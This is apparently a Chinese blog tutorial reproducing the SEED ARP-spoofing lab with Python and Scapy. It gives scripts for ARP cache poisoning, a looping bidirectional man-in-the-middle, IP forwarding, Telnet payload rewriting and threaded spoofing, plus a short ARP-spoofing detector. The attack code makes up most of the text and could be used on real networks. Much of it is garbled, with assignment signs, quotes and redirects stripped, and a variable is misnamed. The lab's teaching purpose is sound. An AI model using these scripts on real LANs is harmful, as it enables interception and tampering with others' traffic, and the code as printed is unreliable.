用Python和Scapy复现SEED实验:手把手教你搭建ARP欺骗攻击靶场(含完整代码)

张开发
2026/6/6 5:13:24 15 分钟阅读
用Python和Scapy复现SEED实验:手把手教你搭建ARP欺骗攻击靶场(含完整代码)
从零构建ARP欺骗实验环境PythonScapy实战指南在虚拟化技术普及的今天搭建一个安全的网络攻防实验环境变得前所未有的简单。ARP欺骗作为局域网攻击的经典手段不仅是网络安全课程的必修内容更是理解二层网络通信原理的绝佳案例。不同于枯燥的理论讲解我们将通过Python和Scapy打造一个可交互的实验靶场让抽象的协议漏洞变得触手可及。1. 实验环境准备避坑指南1.1 虚拟机网络配置推荐使用VirtualBox或VMware创建三台虚拟机攻击机M、靶机A和B网络模式选择桥接模式或Host-Only网络。关键配置参数如下设备操作系统IP地址段必备工具MKali Linux10.9.0.1/24Python3、ScapyAUbuntu10.9.0.5/24Telnet客户端BUbuntu10.9.0.6/24Telnet服务端注意确保三台虚拟机MAC地址不冲突特别是克隆虚拟机时需重新生成MAC1.2 Python环境搭建在攻击机M上执行以下命令安装必要组件# 更新软件源 sudo apt update sudo apt upgrade -y # 安装Python3和pip sudo apt install python3 python3-pip -y # 安装Scapy网络库 pip3 install scapy验证安装是否成功from scapy.all import * conf.checkIPaddr False # 禁用IP地址检查2. ARP协议深度解析2.1 ARP报文结构解剖ARP报文由以太网帧头和ARP字段组成关键字段可通过Scapy查看 ls(ARP) hwtype : XShortField 1 # 硬件类型 ptype : XShortEnumField 2048 # 协议类型 hwlen : ByteField 6 # 硬件地址长度 plen : ByteField 4 # 协议地址长度 op : ShortEnumField 1 # 操作码1请求/2应答 hwsrc : ARPSourceMACField 00:00:00:00:00:00 psrc : SourceIPField 0.0.0.0 # 发送方IP hwdst : MACField 00:00:00:00:00:00 pdst : IPField 0.0.0.0 # 目标IP2.2 ARP缓存操作命令查看和清除ARP缓存的实用命令# 查看ARP缓存表 arp -n # 删除特定条目 arp -d 10.9.0.5 # 清空整个ARP缓存 ip -s -s neigh flush all3. ARP欺骗攻击实战3.1 基础欺骗单向ARP污染构造虚假ARP响应包使靶机A误认为攻击机M是合法设备Bfrom scapy.all import * def arp_spoof(target_ip, target_mac, spoof_ip): pkt Ether(dsttarget_mac)/ARP( op2, # ARP响应 pdsttarget_ip, hwdsttarget_mac, psrcspoof_ip ) sendp(pkt, verboseFalse) # 示例让10.9.0.5认为10.9.0.6的MAC是攻击机的MAC arp_spoof(10.9.0.5, 02:42:0a:09:00:05, 10.9.0.6)3.2 双向欺骗中间人攻击建立双向ARP欺骗实现流量劫持from time import sleep def mitm_attack(): while True: # 欺骗A认为B的MAC是M的MAC sendp(Ether(dst02:42:0a:09:00:05)/ARP( op2, pdst10.9.0.5, hwdst02:42:0a:09:00:05, psrc10.9.0.6 )) # 欺骗B认为A的MAC是M的MAC sendp(Ether(dst02:42:0a:09:00:06)/ARP( op2, pdst10.9.0.6, hwdst02:42:0a:09:00:06, psrc10.9.0.5 )) sleep(30) # 每30秒刷新一次 mitm_attack()3.3 流量转发配置启用IP转发功能使攻击机成为透明代理# Linux系统开启IP转发 echo 1 /proc/sys/net/ipv4/ip_forward # 验证转发状态 sysctl net.ipv4.ip_forward4. 高级攻击场景实现4.1 Telnet会话劫持在ARP欺骗基础上实现Telnet流量篡改from scapy.all import * def telnet_intercept(pkt): if pkt.haslayer(TCP) and pkt[TCP].dport 23: # 修改原始载荷 raw_load pkt[Raw].load modified_load raw_load.replace(bls, bid) # 示例替换命令 # 重建数据包 new_pkt IP(pkt[IP].payload) del new_pkt[TCP].payload del new_pkt[TCP].chksum del new_pkt[IP].chksum new_pkt new_pkt/Modified_Load send(new_pkt) # 启动嗅探器 sniff(filtertcp port 23, prntelnet_intercept)4.2 防御措施检测识别网络中的ARP欺骗行为from scapy.all import * def detect_arp_spoofing(): arp_table {} def process_packet(pkt): if ARP in pkt and pkt[ARP].op 2: # ARP响应 ip pkt[ARP].psrc mac pkt[ARP].hwsrc if ip in arp_table: if arp_table[ip] ! mac: print(f[!] ARP欺骗检测: {ip} 的MAC从 {arp_table[ip]} 变为 {mac}) else: arp_table[ip] mac sniff(prnprocess_packet, filterarp, store0) detect_arp_spoofing()5. 实验优化与问题排查5.1 常见错误解决方案虚拟机无法通信检查防火墙设置sudo ufw disableScapy发送失败尝试以root权限运行或设置capabilitiessudo setcap cap_net_raweip /usr/bin/python3ARP缓存不更新手动清除目标缓存arp -d [IP]5.2 性能优化技巧# 使用多线程持续发送ARP响应 from threading import Thread class ArpSpoofThread(Thread): def __init__(self, target_ip, target_mac, spoof_ip): super().__init__() self.target_ip target_ip self.target_mac target_mac self.spoof_ip spoof_ip def run(self): while True: sendp(ARP(op2, pdstself.target_ip, hwdstself.target_mac, psrcself.spoof_ip), verboseFalse) time.sleep(2) # 启动双向欺骗线程 t1 ArpSpoofThread(10.9.0.5, 02:42:0a:09:00:05, 10.9.0.6) t2 ArpSpoofThread(10.9.0.6, 02:42:0a:09:00:06, 10.9.0.5) t1.start() t2.start()在真实网络测试中建议使用专门的测试设备而非生产环境。某次实验中由于未及时更新ARP缓存导致攻击延迟生效后来发现是靶机系统默认缓存超时设置较长通过调整/proc/sys/net/ipv4/neigh/default/gc_stale_time解决了这个问题。

更多文章